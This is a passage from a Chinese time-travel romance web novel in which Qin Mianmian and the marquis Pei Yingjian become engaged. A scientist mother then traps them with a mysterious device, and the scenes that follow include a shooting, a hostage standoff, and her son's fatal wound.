“这里……”她喃喃出声,声音里带着自己都未曾察觉的颤抖,“我来过……” 那次在游轮上遭遇风暴,她昏迷后做的那个荒诞的“梦”,梦里,她就躺在这张床上。 “不是梦。” 裴应见的声音在耳边响起,他将她扶正,手臂却依旧牢牢地圈着她的腰,不让她离开分毫。 “那一次,你就来过这里。” 男人的话,像一把钥匙,瞬间打开了记忆的闸门。 秦绵绵的脸色,一点点地白了下去。 如果那次不是梦…… ……那个阴森的大宅,那个叫月娘的女孩子…… “月娘……”她脱口而出,“那她也是真的?” 裴应见看着她震惊的模样,眼底划过一抹沉色。 随即,他将自己所知的关于月娘,关于那座大宅的事情,言简意赅地说了出来。 “那座宅子是前朝一位酷吏的府邸,如今也许是被皇帝用作暗桩,专门训练一些见不得光的死士。月娘是他们从小收养的孤女之一,也是其中最出色的杀手。” 他顿了顿,声音冷了几分,“她奉命杀过我,未遂。但在燕州,我一名最重要的部下,死在了她手里。你还记得……那个头颅吧?” 秦绵绵自然记得。 秦绵绵将这些信息和自己梦里所见的景象拼凑在一起,一个完整的、残酷的故事浮现在眼前。 一个走失的孤女,被训练成冷血的杀人工具。 “她受了伤,现在怎么样了?”秦绵绵下意识地问。 “按时间算,应该已经养好了。”裴应见道,“如果我没猜错,她现在应该还在为皇帝做事。或许……正在奉命调查国库失窃一案。” “而在那个大宅中,还有比月娘武功更高的人,我上次受伤,就是拜他所赐。” 当时他伤得很重,醒来后一直想把这些事告知秦绵绵,可是总是有事情干扰,以至于到了现在才说。 第272章 跟我在一起 而大宅中的那个神秘男人,其实裴应见心里已经有了一些猜测,但鉴于云承月此刻刚刚做完手术还没回来,他便打算暂时先按兵不动。 秦绵绵沉浸在这些纷乱的思绪里,心口有些发闷。 她还来不及细想,圈在腰间的手臂却倏然收紧。 男人灼热的呼吸,拂过她的耳畔。 低沉的嗓音,带着一丝不容置喙的霸道: “聊完别人的事了,现在,该说说我们的事了。” 他将她整个人转过来,面对着自己,那双深邃的黑眸在月光下紧紧锁着她。 “我刚才在医院问你的话,你还没回答。” 他又开始动手动脚,温热的指腹摩挲着她的脸颊,眼神里的侵略性毫不掩饰。 秦绵绵被他撩拨得心尖发颤,却还是强撑着,说出了心底最深的顾虑。 “裴应见,这样不对等。”她抵着他不断靠近的胸膛,声音很轻,却异常坚定,“我不能自主来到这里,每一次都是被你带过来,我甚至不知道下一次你什么时候会走,又什么时候会来……我们之间,还是隔着一道我跨不过去的鸿沟。” 不得不说,她说的还是有点道理。 即便她能被他带着回到古代,那也并不能说明什么。 不知道这次,他又会有什么样的理由。 可这一次,裴应见却只是静静地看着她,眼底翻涌的情绪,最终化为一声轻叹。 “等我把这里的事情都处理好。” 他忽然开口,说出了一句让秦绵绵始料未及的话。 “我就去你那边,陪着你……再也不回来了。” 秦绵绵彻底愣住了,她甚至以为自己听错了。 “……什么?”她仰头看着他,满脸的不可置信,“再也不回来?那你的侯爷之位?” “不要了。” 他回答得没有一丝一毫的犹豫。 他捧着她的脸,强迫她看着自己的眼睛,那里面,是前所未有的认真和郑重。 “没有你,哪怕是做皇帝,又有什么意思。” “轰——” 秦绵绵感觉有什么东西在心底炸开。 所有的顾虑,所有的不安,所有的迟疑,都在他这句话里,被碾得粉碎。 她看着眼前的男人,看着他眼底那片只为她一人而掀起的、深沉如海的波澜,心脏像是被一只滚烫的手攥住,疼,却又涨满了前所未有的悸动。 “现在,可以回答我了吗?” 他逼近她,滚烫的吻落在她的额头,眉心,鼻尖,最后停在她的唇边,辗转厮磨,却不深入。 他在逼她,用最温柔,也最要命的方式。 “跟我在一起,嗯?” 沙哑的尾音,带着致命的蛊惑。 秦绵绵的眼眶,毫无征兆地红了。 她张了张嘴,喉咙里却像是堵住了,一个字也说不出来,只能在男人紧迫的追问和炙热的亲吻中,重重地点了点头。 而秦绵绵的这个动作,便像一滴落入滚油的水,在裴应见心底彻底炸开。 裴应见眼底翻涌的狂澜瞬间平息,取而代之的,是燎原的火。 他笑了。 那笑意自眼底深处蔓延开,牵动唇角,带着一种得偿所愿的餍足和不容置喙的霸道。 他没有再说话,只是低头,用行动来索取她点头之后所代表的一切。 这个吻,与之前所有的吻都不同。 不再是试探,不再是安抚,更不是带着焦躁的索取。 是侵占,是烙印,是恨不得将她拆吃入腹,揉进骨血里的,全然的占有。 秦绵绵被他吻得几乎要喘不过气,脑子里只剩下混沌的空白。 她被迫仰着头,承受着他汹涌而来的、几乎要将她溺毙的热情。 身下的云缎锦被柔软得不可思议,衬着她此刻脊背愈发的僵直。 月光透过窗格,在月白色的鲛绡帐幔上投下晃动的光影,像浮动的涟漪。 男人的手,不知何时已经探入了她的衣衫。 那指腹带着常年握刀习武的薄茧,所过之处,像有微弱的电流窜过,激起一阵阵陌生的酥麻。 秦绵绵浑身一颤,下意识地想去推他。 可那点微末的力气,抵在他坚实滚烫的胸膛上,更像是欲拒还迎的邀请。 “别动。” 他在亲吻的间隙里,哑声命令。 他的声音低沉得要命,像是浸透了浓得化不开的欲,每一个字都敲在她的心尖上。 衣衫被他轻巧地剥落,像花瓣散在柔软的锦被上。 当清冷的月光毫无阻碍地洒落在肌肤上时,秦绵含羞耻地闭上了眼。 可视觉的剥夺,却让其他感官变得无比敏锐。 她能清晰地感觉到他滚烫的视线,像实质的烙铁,一寸寸地巡视着,让她无所遁形。 她能闻到空气里,紫檀木的冷香混合着他身上清冽的龙涎香,再掺杂进角落里那兽首铜炉里燃着的安神的香气,交织成一张密不透风的网,将她牢牢网住。 她更能感觉到,他俯下身,滚烫的唇离开了她的,一路向下…… “裴应见……” 她终于找回了自己的声音,却破碎得不成样子。 他停了下来,撑起身子,在昏暗的光线里俯视着她。 那双深不见底的眸子里,欲望的火焰烧得正旺,亮得惊人。 “怕了?”他问,指腹却在她颤抖的睫毛上轻轻摩挲,动作温柔,眼神却极具侵略性。 秦绵绵咬着唇,不说话。 她不是怕。 是慌。 一切都太快了。 从现代医院的走廊,到这个完全陌生的古代卧房;从一个蜻蜓点水的安抚之吻,到此刻这种坦诚相见、一触即发的境地…… 她的理智,她的镇定,她所有的心理防线,都在这个男人面前,土崩瓦解。 看着她这副又倔强又无助的模样,裴应见心底最深处的那块地方,软得一塌糊涂。 他俯下身,不再急切,而是用一种近乎虔诚的姿态,将细细密密的吻,落在她的额头,眉心,鼻尖,脸颊…… “别怕。”他一遍遍地在她耳边低语,声音蛊惑,“交给我。” “我等这一天,等了很久了。” 那压抑了太久的渴望,混合着后怕与狂喜,终于在此刻找到了宣泄的出口。 他不再给她任何犹豫和退缩的机会。 第273章 给我一个名分 当他整个人覆上来的瞬间,秦绵绵脑子里最后一点清明,也彻底被撞得粉碎。 她像一叶漂浮在狂风骇浪里的小舟,唯一的倚靠,便是这片深沉而滚烫的海。 只能抓紧他,任由他带着自己,在浪潮里,浮沉,颠簸,直至被彻底吞没。 帐幔摇晃,一室旖旎。 兽炉里的安神香,燃到了尽头,最后一缕青烟散尽。 不知过了多久,窗外的月亮已经悄悄挪到了中天。 风停了,浪息了。 秦绵绵累得连一根手指都不想动,浑身都像是被拆散了重组过一般,酸软无力。 她趴在男人坚实的胸膛上,听着他沉稳有力的心跳,一下,又一下。 裴应见拥着她,一手有一下没一下地抚弄着她汗湿的、散乱在肩头的长发。 方才的激烈和狂野褪去,只剩下餍足后的温柔和缱绻。 他低头,亲了亲她的发顶,声音带着一丝沙哑的慵懒。 “现在,你总该信了。” 信他说的每一句话,信他许下的每一个承诺。 秦绵绵没说话,只是往他怀里缩了缩,找了个更舒服的姿势。 她闭着眼,长长的睫毛上还挂着未干的湿意。 察觉到她的沉默,裴应见的手臂收得更紧了些。 “在想什么?” 秦绵绵这才缓缓睁开眼,她看着近在咫尺的、男人轮廓分明的下颌,轻声问出了一个她此刻最关心的问题。 “我们……什么时候回去?” 她指的是回到现代。 毕竟,云承月还在医院,盛意还在守着他。 裴应见闻言,动作一顿。 他低头,对上她清亮的眸子,那里面没有丝毫情欲,只有一片澄澈的认真。 他忽然笑了。 “不急。” 他翻了个身,重新将她压在身下,那双深邃的眸子在月光下危险地眯起。 “天还没亮,时辰还早。” “侯爷我的体力……可不止于此。” 他含住她的唇,将她所有未尽的抗议,悉数吞入腹中。 …… 天光微亮时,秦绵绵终于撑不住,沉沉睡了过去。 裴应见却毫无睡意。 他侧躺着,支着头,目光一寸寸地描摹着她熟睡的侧脸。 眉眼恬静,鼻尖小巧,唇瓣因为昨夜的过分采撷而微微红肿着,瞧着便有种惊心动魄的艳色。 他看了许久,才小心翼翼地掀开被单,将她整个人打横抱起。 浴桶里早已备好了温度适宜的热水,他将她轻轻放入水中,动作轻柔得像是对待一件稀世珍宝。 温热的水漫过肌肤,睡梦中的秦绵绵舒服地哼唧了一声,往他怀里蹭了蹭,又睡熟了。 裴应见眼底的笑意更深,亲自为她沐浴更衣,而后将她抱回床上。 做完这一切,他才披上外衣,走了出去。 守在院里的亲卫看到他出来,正要行礼,却见他们那位向来矜贵冷傲的侯爷,径直……走向了小厨房。 亲卫:“……” 他揉了揉眼睛,以为自己通宵守夜,出现了幻觉。 片刻后,小厨房里飘出了米粥的香气。 亲卫彻底石化在原地。 秦绵绵是被食物的香气唤醒的。 她睁开眼,就看到裴应见端着一个托盘坐在床边,见她醒了,便将托盘上的小几架在床上。 一碗熬得软糯喷香的米粥,配着几样精致的小菜。 她身上清清爽爽,换上了干净柔软的寝衣,昨夜的疲惫似乎都被一扫而空。 “吃点东西。”裴应见舀了一勺粥,递到她唇边。 秦绵绵还有些没反应过来,愣愣地看着他。 见她不动,男人眉梢微挑,眼底却划过那么一点不易察觉的委屈。 “我亲自下厨熬的,赏个脸?” 秦绵绵:“……” 她默默地张嘴,吃下那口粥,心里五味杂陈。 等一碗粥见了底,秦绵绵感觉自己总算活了过来。 她靠在床头,看着收拾碗筷的男人,正想着该怎么开口提回去的事。 男人却先开了口。 他放下碗,坐到床沿,握住她的手,神情严肃,语气却可怜巴巴的。 “绵绵,如今……可能给我一个名分了?” 秦绵绵一噎。 他继续皱眉道:“我人都是你的了,你总得给我个名分吧?” 这颠倒黑白的话,让秦绵绵一时间竟无言以对。 看着他那副“我为你守身如玉如今以身相许你可得负责”的模样,她又好气又好笑。 她清了清嗓子,试探着说:“……男女朋友?” “男朋友?”裴应见咀嚼着这个陌生的词,他摇了摇头,不满意。 “在我们这边,以身相许之后,可都是有名分的。”他凑过去,下巴搁在她的肩上,活像一只求抚摸的大型犬,“我可也是清白人家……” 秦绵绵简直被“名分”这两个字磨得头大,只好退了一步: “那……未婚夫?” “未婚夫。” 裴应见重复了一遍,唇角终于满意地勾了起来。 他抬起头,捧着她的脸,不给她任何反悔的机会,用一个带着浓浓占有欲的吻,将这个名分彻底坐实。 “我的……未婚妻。” …… 一阵熟悉的眩晕感过后,两人重新回到了疗养院的病房。 清晨的阳光,透过巨大的落地窗洒进来,给整个房间镀上了一层温暖的金边。 云承月还躺在床上,双目盖着纱布,呼吸平稳,似乎还在沉睡。 盛意守在一旁,看到两人凭空出现,已经能做到面不改色了。 裴应见朝他点点头,示意他去休息。 盛意颔首,悄无声息地退了出去。 病房里恢复了安静。 裴应见走到窗边,拉着秦绵绵的手,让她靠在自己怀里,一同沐浴在晨光中。 他低头,吻了吻她的发顶。 “等这些事了了,我们就准备成亲的事。” 秦绵绵的脸颊有些发烫,还没来得及说话,这人的吻又铺天盖地地覆了下来。 秦绵绵刚好一点的身子忽然又开始发软。 谁知下一秒,病床上,忽然传来一道幽幽的声音: “……我只是瞎了,不是聋了。” 秦绵绵:“!” 她猛地从裴应见怀里弹开,脸红得像要滴血。 云承主转了转头,“听”向他们的方向,语气里带着几分揶揄: “而且,托你们的福,我很快就不是瞎子了。两位日后亲热,还是稍微避讳着点伤患。” 第274章 三个实验品 裴应见不仅毫无尴尬,反而颇为得意地挑了挑眉,揽住秦绵绵的腰,宣布主权。 “无妨,绵绵已经答应做我的未婚妻了。” 云承月愣了一下,随即真心实意地笑了起来:“那可真是……恭喜侯爷,贺喜侯爷了。” 病房里的气氛,一时间轻松又温馨。 可就在这时,变故突生—— 只见裴应见的脸色,倏地一变。 他只觉数道冰冷的、带着实质性恶意的气息,毫无征兆地从四面八方席卷而来,像一张无形的巨网,瞬间笼罩了整个病房! 杀气! 比之前遇到的任何一次,都来得更猛烈,更密集! 裴应见当机立断,一把将秦绵绵护在身后,同时伸手去扶床上的云承月。 “走!” 出门已经来不及了,如今之计只能带他们先回大雍去。 他心中默念,可是,这一次,周围的空气却纹丝不动。 什么都没有发生。 摄人的诡异气息极速逼近。 裴应见的心,猛地一沉。 他……竟然走不了了。 “怎么了?”秦绵绵立刻察觉到他身体的僵硬和骤然沉下的脸色。 没等裴应见回答,她自己也感觉到了不对劲。 空气里仿佛多了一种粘稠的压力,每一次呼吸都变得有些困难,太阳穴开始突突地跳,一阵强过一阵的晕眩感袭来。 秦绵绵当机立断,转身就去拉病房的门。 门把手能转动,锁也开了,大门也打开了,可是……人却出不去。 她用力推了推,掌心传来的触感却很奇怪,不像是推在坚硬的门板上,倒像……按进了一团冰冷又有弹性的空气里。 一道看不见的屏障,将他们死死困在了这里。 秦绵绵奋力去推,却被裴应见制止: “别白费力气了。” 此刻裴应见的脸色已经难看到了极点,他扶着额角,那股无孔不入的压力让他这个习武之人都感到头痛欲裂。 秦绵绵也感觉到了,那股无形的力量,仿佛泰山压顶一般,让她呼吸都变得困难起来。 “噗通”一声。 是云承月,他本就虚弱,此刻再也支撑不住,从床上滑了下来。 裴应见立刻将他扶住。 也就在这时,秦绵绵顺着声音的源头看去,瞳孔骤然紧缩。 在病房大门外面,不知何时多了一架造型奇特的精密仪器,上面闪烁着幽蓝色的光,发出细微的嗡鸣。 一个优雅美丽,风姿绰约的身影,正站在仪器旁,静静地看着他们。 那人身形窈窕,气质优雅,一张保养得宜的脸上,带着温和的笑意。 正是罗小胖的母亲。 可此刻,她那双漂亮的眼睛里,却看不到半分温和,只有一种近乎贪婪的、疯狂的灼热。 “我研究了二十多年的项目,多谢你们三位……”她的声音依旧是那么悦耳动听,内容却让人不寒而栗,“今天,终于要有突破了。只要能采集到足够的数据,哪怕只有一次,我这辈子……就都值了!” “是你!”裴应见眼底迸射出骇人的杀意,他强忍着脑中针扎般的剧痛,厉声喝问,“你是怎么突破外面的安保进来的?” 秦绵绵拉了拉裴应见的衣袖,目光投向更远一点的方向。 走廊里,不知何时也站了一个人。 身子胖胖的,一张平常和蔼爱笑的脸,此刻却严肃而心虚,不敢面对秦绵绵的目光。 是罗小胖。 他低着头,目光瞥向一边,根本不敢看病房里的情形。 一切都明白了。 是罗小胖,用盛意等人对他的信任,顺利进了疗养院,然后再想办法把他的母亲和这台要命的仪器,神不知鬼不觉地带进了这里。 “罗小胖!”秦绵绵的声音陡然拔高,“你过来!” 罗小胖的身体猛地一抖,却依旧不敢抬头,只是把头埋得更低了。 “你知不知道你在做什么?!”秦绵绵咬牙,声音虽然还平静,但怒意明显。 罗小胖终于有了反应,他猛地抬起头,脸上满是慌乱和愧疚,急急地辩解道: “不会的!掌柜的你相信我!我妈就是想做点研究,她说只要获得了需要的数据,就会放你们走的!她绝对不会伤害你们的!” 然而,话音未落—— “咳……咳咳!” 一阵剧烈的、压抑不住的咳嗽声响起。 所有人闻声看去。 只见被裴应见扶着的云承月,猛地弓起身子,在一阵撕心裂肺的咳嗽后,“哇”地一声,吐出一大口鲜血。 那鲜红的血,溅在雪白的病号服上,触目惊心。 随即,他头一歪,彻底昏死过去。 秦绵绵惊呼出声,想上前,可那股无形的重压却让她步履维艰,每挪动一步都像是背负着千斤巨石。 裴应见单膝跪地,将云承月软倒的身体扶住,一手疾速点了他胸前几处大穴,另一只手掌则抵住他的后心,浑厚的内力源源不断地输送过去。 然而,那内力甫一进入云承月的体内,便如泥牛入海,瞬间被那股诡异的力量搅得粉碎,根本起不到护住心脉的作用。 裴应见的额角,沁出了细密的冷汗。 他自己的情况也不容乐观。 那股压力仿佛有生命般,钻入他的四肢百骸,冲撞着他的经脉,脑中更是像有无数根钢针在同时攒刺。 他闷哼一声,身形晃了晃,嘴角竟也溢出了一道暗红的血线。 “裴应见!” 秦绵绵还来不及多想,那股令人窒息的压力陡然加剧,喉头涌上一股腥甜,眼前阵阵发黑,双腿一软,也跟着跪倒在地。 病房外,罗母看着仪器屏幕上急速飙升又剧烈波动的曲线,眼中迸发出狂热的光芒,那张优雅的面庞因为极致的兴奋而微微扭曲。 “成功了……数据在被采集……太好了!太完美了!” 她口中喃喃自语,手指在操作屏上飞快地点着,记录着每一个数据峰值,那模样,仿佛在欣赏一曲绝妙的乐章,而不是在目睹三条生命的急速凋零。 “妈……妈!” 走廊里的罗小胖终于惊醒,他看着病房内接连倒下的三人,尤其是看到裴应见嘴角的血迹时,脸上的血色瞬间褪尽。 第275章 我是你妈妈 “妈!他们怎么会吐血!你不是说……你不是说只是采集一点能量波动数据,对他们没有生命危险的吗?!” 然而,话音刚落—— “噗——” 又是一声。 秦绵绵再也压不住翻涌的气血,俯下身,一口鲜血便吐在了光洁的地板上。 这抹刺目的红,彻底击溃了罗小胖最后一道心理防线。 他猛地冲到那道无形的屏障前,用力地捶打着,可那屏障软中带韧,将他的力道尽数化解。 “妈!你快停下!快停下啊!他们会死的!掌柜的她会死的!”他崩溃地嘶吼着,转向自己的母亲,眼中满是哀求和不敢置信。 罗母终于舍得从她的宝贝仪器上挪开视线。 她回头,看向自己歇斯底里的儿子,那眼神,陌生得可怕。 没有了平日的温和慈爱,只剩下一种冰冷的、看穿一切的漠然,甚至还带着几分不耐烦的……讥诮。 “不过是三个试验品罢了。”她轻描淡写地开口,“是死是活,又有什么关系?小吉,你要懂得取舍。为了伟大的科学,牺牲是必要的。” 罗小胖如遭雷击,整个人都僵在了原地,怔怔地看着自己的母亲。 “为了……科学?”他喃喃重复着,感觉自己像在听天方夜谭。 原来,一切都是假的。 这几天的母慈子孝,不过也是她装出来欺骗他的罢了。 二十年了,她的心里依旧没有他这个儿子,唯一有的,依旧是她的工作! 罗母的脸上重新浮现出那种狂热的、属于信徒般的神情,“你根本不懂,这三个人是多好的研究素材!我还从来没有找到过这样的素材……他们可以自由穿梭时空!小吉,你知道这意味着什么嘛!!只要能彻底破解他们身上的数据奥秘,我的‘时空传说’实验就能获得颠覆性的突破!人类的未来,都将因此改写!!” 她摊开手,仿佛在拥抱一个伟大的未来。 “你应该感到庆幸,小吉……你是这伟大实验研究的一员,你应该跟妈妈我一起与有荣焉!” 她怜悯地看了一眼病房里已经气息奄奄的三人,嘴角勾起一抹残酷的笑意。 “不过话说回来,还是看在你的面子上,我才亲自过来,让他们能在这里体面地‘奉献’。若是让上面的人知道了,他们只会被当成活体标本带走,关在不见天日的实验室里,你想想,那会是什么样的折磨?” “今天能死在这里,为科学献身,是他们的福气!” 轰—— 罗小胖的脑子里,有什么东西彻底炸开了。 他看着那个口口声声说着“福气”,脸上却带着魔鬼般笑容的女人,一股寒气从脚底板直冲天灵盖,浑身的血液,在瞬间冻结成冰。 下一秒,他猛地转身,用尽全身的力气,朝着那台闪烁着幽蓝光芒的精密仪器扑了过去。 只要毁了它,一切就能结束。 然而,他快,有人比他更快。 罗母的脸上甚至还挂着那抹讥诮的笑意,手却已经闪电般从风衣口袋里掏出了一样冰冷的东西。 一把黑洞洞的手枪,稳稳地对准了罗小胖的后脑。 “小吉。”她的声音依旧是温和的,甚至带着一丝劝慰的亲昵,“妈妈不喜欢不听话的孩子。” 罗小胖的身体,在距离仪器仅一步之遥的地方,彻底僵住。 他缓缓地转过头,看着那黑沉沉的枪口。 “我执意要救他们……你就会杀了我,是吗?” “你可以试试。”女人回答得没有半分迟疑,眼底的冰冷,足以将人冻成齑粉。 病房内,那道无形的屏障之后。 裴应见强撑着身体,将秦绵绵护在怀里,他看着外面那场荒诞的母子对峙,朝着罗小胖厉声喝道: “别管我们!走!去搬救兵!” 秦绵绵趴在他肩上,连呼吸都带着血腥气,她艰难地抬起头,声音微弱却清晰: “罗小胖……别做傻事……不值得……” “不,值得的。”罗小胖却笑了。他转头,看向屏障内已经奄奄一息的三人,目光最后落在秦绵绵脸上。 “没用的,掌柜的……我妈这台仪器,已经把整层楼都屏蔽了,盛意他们……他们根本上不来。” “这一切,都是我的错……我得纠正它。” 在秦绵绵和裴应见震惊的目光中,罗小胖没有再看他的母亲,而是猛地再次扑向了那台仪器! “砰——!”震耳欲聋的枪声,在空旷的走廊里炸开。 子弹擦着罗小胖的胳膊飞了过去,在他厚实的臂膀上,留下了一道焦黑的血痕。 鲜血瞬间涌了出来。 罗小胖的动作一滞。 开枪的罗母也是一愣。 就在这电光石火的瞬间,罗小胖眼中最后一点犹豫彻底被疼痛和鲜血冲刷干净。 他没有去管流血的胳膊,而是趁着母亲一刹那的愣神,如同一头暴怒的熊,猛地回身撞了过去。 罗母猝不及防,被他撞得连连后退,手中的枪也脱手飞出。 罗小胖动作不停,反手一拧,便将自己母亲的双臂死死扣在了身后。 “放开我!罗吉!你疯了!”罗母尖叫着,剧烈挣扎。 罗小胖却像没听见一般,拖着她就往不远处的护士台走,从抽屉里翻出了一卷医用胶带和束带。 “我是你妈妈!我是你亲生母亲!” 罗小胖一言不发,只是用那条没有受伤的手臂,动作利落地将她捆在了椅子上。 然后立刻转身,重新走回到那台嗡鸣的仪器前,上手一顿操作。 罗母看着他的动作,震惊地瞪大了眼:“你做什么?你根本不懂……” 然而,她的话还没说完,只见罗小胖抬起手,在那块复杂的操作屏上,手指翻飞,精准地按下了几个键,最后重重地拍在一个红色的虚拟按钮上。 嗡—— 仪器发出一声轻响,闪烁的蓝光瞬间熄灭。 那道困住秦绵绵三人的无形屏障,像是被戳破的肥皂泡,霎时间烟消云散。 空气中粘稠的压力,骤然消失。 秦绵绵和裴应见几乎是同时贪婪地吸了一大口气,随即冲了出来。 罗母看着眼前这一幕,彻底傻了,她死死地盯着罗小胖,像是看一个怪物: “你……你怎么会操作它?” 第276章 裴应见受伤 罗小胖低头,看了看自己血肉模糊的胳膊,又抬起头,看向那个生下他的女人,脸上竟露出一丝平静的微笑。 “你当着我的面操作过两次……我毕竟是你的儿子。” 这话说得平静,却像一记无声的耳光,狠狠扇在罗母的脸上。 她的表情从震惊转为不可思议,最后化为一种被背叛的、扭曲的怨毒。 “快走!”裴应见一把扶住秦绵绵,另一手探向地上昏迷不醒的云承月,脸色凝重到了极点,“这里不能再待了!” “没用的……”罗小胖靠着那台冰冷的仪器,苦笑道,“我妈还有帮手,他们应该已经在路上了,很快就会封锁这里。” 他看向裴应见,眼中是前所未有的清明和决绝。 “侯爷,你带掌柜的和云公子先走,回你们……回大雍去!这里我来应付!” 裴应见深深地看了他一眼,没有丝毫犹豫,当机立断。 他一把将秦绵绵拉到身前,手掌扣住她的手腕,同时开始凝神 周遭的空气,再次开始波动,一种熟悉的、被抽离的感觉,开始笼罩三人。 可就在此刻,被捆在椅子上的罗母嘴角忽然勾起一抹诡异的笑,她不知何时用藏在袖口的一小片手术刀片割开了束带,整个人如一条挣脱束缚的毒蛇,猛地弹起。 她的动作快得惊人,目标明确——就是不远处掉在地上的那把手枪。 “小心!”秦绵绵失声惊呼。 然而一切都太快了。 罗母捡起枪,甚至没有片刻的瞄准,黑洞洞的枪口便径直对准了那个毁了她一切希望的亲生儿子。 “罗吉,你该为科学……去死!” 她眼中迸射出疯狂的恨意,手指扣下了扳机。 “罗小胖!” 秦绵绵想也没想,猛地朝罗小胖扑了过去,一把将他推向旁边! 电光石火间,裴应见也动了。 他本就拉着秦绵绵,在她扑出去的瞬间,他顺势一带,将她的身体用力拽向地面。 “砰——!” 震耳欲聋的枪声,在空旷的走廊里炸开。 子弹几乎是擦着秦绵绵的耳畔飞过,带着灼人的热浪。 当! 一声刺耳的金属撞击声。 谁都没有想到,那颗子弹在撞击门框后,竟以一个诡异的角度,猛地弹了回来! 它的目标,恰恰是正在变得透明、与云承月一起缓缓消散的裴应见。 时间,在这一刻仿佛被无限放慢。 秦绵绵被裴应见拽倒在地,只来得及抬起头,便看到了令她肝胆俱裂的一幕。 裴应见的身影已经变得虚幻,他正低头看着她,眼中还带着一丝未来得及散去的惊魂未定。 然后,那颗回旋的子弹,却悄无声息地,从他的后心位置,穿透了他正在消散的胸膛。 裴应见的身体猛地一震。 他低下头,难以置信地看着自己的胸口,那里没有伤口,没有鲜血,只有一圈波纹般的涟漪,在他透明的身体上荡漾开来,然后迅速消弭。 他的身影,连同他怀里扶着的云承月,消散的速度骤然加快。 “裴应见!” 秦绵绵尖叫一声,她疯了一样地伸出手,想要去抓住那片虚无的空气。 可是,什么都抓不住。 男人的身影,连同云承月一起,彻底化作点点微光,消失在了原地。 整个世界,仿佛被按下了静音键。 秦绵绵跪在地上,手还徒劳地伸在半空中,指尖残留着被拽倒时的力道,和那阵子弹划过的灼热。 空气里,只剩下枪声尖锐的回响,和仪器熄灭后细微的电流声。 死寂,只维持了短短一瞬。 “啊——!!!” 一声不似人声的尖利嘶吼,撕裂了这片死寂。 罗母看着空无一人的地方,那张保养得宜的脸因为极致的愤怒和失望而彻底扭曲,再没有半分优雅可言。 “我的实验品……我的数据!!”她猛地转过头,一双充血的眼睛死死地钉在罗小胖身上,那眼神,像是要将他生吞活剥,“都是你!是你这个废物!是你毁了我的一切!!” 她像一头发了疯的母兽,举着枪,一步步逼近瘫倒在地的儿子。 “我为什么要生下你?!你跟你那个没用的父亲一样,都是我这辈子最大的绊脚石!废物!蠢货!” 恶毒的咒骂,从那张曾经温言细语的嘴里倾泻而出。 秦绵绵的心跳得像要炸开,她强迫自己从裴应见消失的巨大恐惧中抽离出来,大脑飞速运转。 “别激动!”她站起身,挡在罗小胖身前,高举双手,示意自己没有威胁,“伯母,你听我说,人跑了还可以再找,实验失败了也可以重来,你先冷静下来!” 罗母的枪口晃了晃,对准了秦绵绵。 她神经质地笑了起来,眼底的疯狂几乎要溢出来,“对,还有你……还有你这一个实验品!虽然不如那两个完美,但也聊胜于无!” 她的目光在秦绵绵身上贪婪地扫过,像是屠夫在打量案板上的肉。 “你自己去!”她用枪口指了指不远处那卷医用胶带,“把自己绑起来,绑到那张椅子上!快点!” 秦绵绵目光一闪,她需要时间,屏障已经破除,盛意他们发现不对劲,一定会找上来。 她慢慢地向后挪动,嘴里继续安抚道:“好,我照做,你别冲动,枪放下,我们有话好好说……” “我让你快点!”罗母猛地厉喝,耐心耗尽。 秦绵绵的动作只慢了一瞬。 “砰!” 又是一声枪响。 “啊!” 一声压抑的痛呼从秦绵绵身后传来。 她猛地回头,只见罗小胖捂着自己的左手掌,鲜血正从他的指缝间汩汩涌出,将地板洇湿一片暗红。 那颗子弹,打穿了他的手掌! 罗母的声音冰冷如毒:“再不动,下一枪,就是他的脑袋。” 就在这时,一声暴喝从走廊尽头传来,数道矫健的身影冲了过来,为首的正是脸色铁青的盛意。 盛意手中的枪,稳稳地对准了罗母。 罗母看到来人,先是一惊,随即脸上浮现出一种破罐子破摔的癫狂。 第277章 罗吉之死 “哈……哈哈哈哈!”她大笑起来,“来得正好!我的研究没了,数据也没了,我二十年的心血全都毁了!我完了……你们也别想好过!” 她猛地拽起地上的罗小胖,用胳膊勒住他的脖子,黑洞洞的枪口死死抵住他的太阳穴。 “都别过来!不然我杀了他!” 盛意脸色一变,立刻抬手,示意身后的人停下。 “你冷静点!放开人质!” “功亏一篑……全都功亏一篑了!”罗母状若疯魔,根本不听劝,她勒着罗小胖,目光却死死地锁着秦绵绵,“我得不到的……你们谁也别想得到!” 话音未落,她忽然猛地推开身前的罗小胖,像一颗炮弹般,朝着秦绵绵直直地扑了过去! 她要跟这最后一点希望,同归于尽! “小心!”盛意瞳孔骤缩,毫不犹豫地扣动了扳机。 砰! 子弹呼啸而出。 秦绵绵正要拉着身边的罗小胖闪躲,可就在那电光石火的刹那—— 那个刚刚还因为剧痛而蜷缩的身体,却用尽了全身最后的力气,猛地向前一扑。 他不是扑向秦绵绵,也不是扑向子弹。 他扑向了那个带给他生命,又亲手毁掉他一切的女人。 他一把推开了罗母—— 噗。 子弹穿进了他的胸膛。 罗小胖的身体在半空中僵硬了一瞬,然后像一个破败的麻袋,重重地砸在地上。 在他的胸口,心脏的位置,一个血洞正迅速扩大。 罗母傻了。 她呆呆地站在原地,看着那个替她挡下子弹、胸口血流如注的儿子,脸上的癫狂和怨毒,如同退潮般褪去,只剩下一片茫然的空白。 她好像不认识地上那个人是谁。 “医生!医生!” 秦绵绵第一个反应过来,她撕心裂肺地喊着,扑到罗小胖身边,想用手去堵那个不断冒血的伤口,可鲜血却从她的指缝间疯狂涌出,温热的,粘腻的,烫得她浑身发抖。 盛意的人已经如潮水般涌上,两个人上前,毫不费力地就控制住了失魂落魄的罗母,将她手中的枪夺下。 “快!叫急救!”盛意脸色铁青,对着对讲机怒吼。 走廊尽头,医护人员推着抢救车飞奔而来。 罗小胖被七手八脚地抬上担架,飞速地推进了手术室。 红色的“手术中”灯牌,亮了起来,像一只嗜血的眼睛。 整个世界,终于彻底安静下来。 秦绵绵瘫坐在手术室外的地上,背靠着冰冷的墙壁,目光空洞地盯着那扇紧闭的大门。 盛意走过来,在她身边蹲下,脱下自己的外套,想要披在她身上。 “他……”秦绵绵的嘴唇动了动,声音干涩得像砂纸摩擦,“他推开了他妈妈。” 盛意的手一顿,没有说话。 那颗子弹,本该射向罗母。 秦绵绵忽然低低地笑了一声,那笑声在空旷的走廊里,说不出的凄凉。 “他想救她……” 他用自己的命,救了那个骂他是废物、要亲手杀了他的母亲。 何其荒唐。 何其……可悲。 时间一分一秒地流逝,每一秒都像是在滚油里煎熬。 被制服的罗母,始终像个木偶一样,不哭不闹,只是睁着一双空洞的眼睛,看着手术室的方向。 不知过了多久。 “啪嗒。” 手术室的灯,灭了。 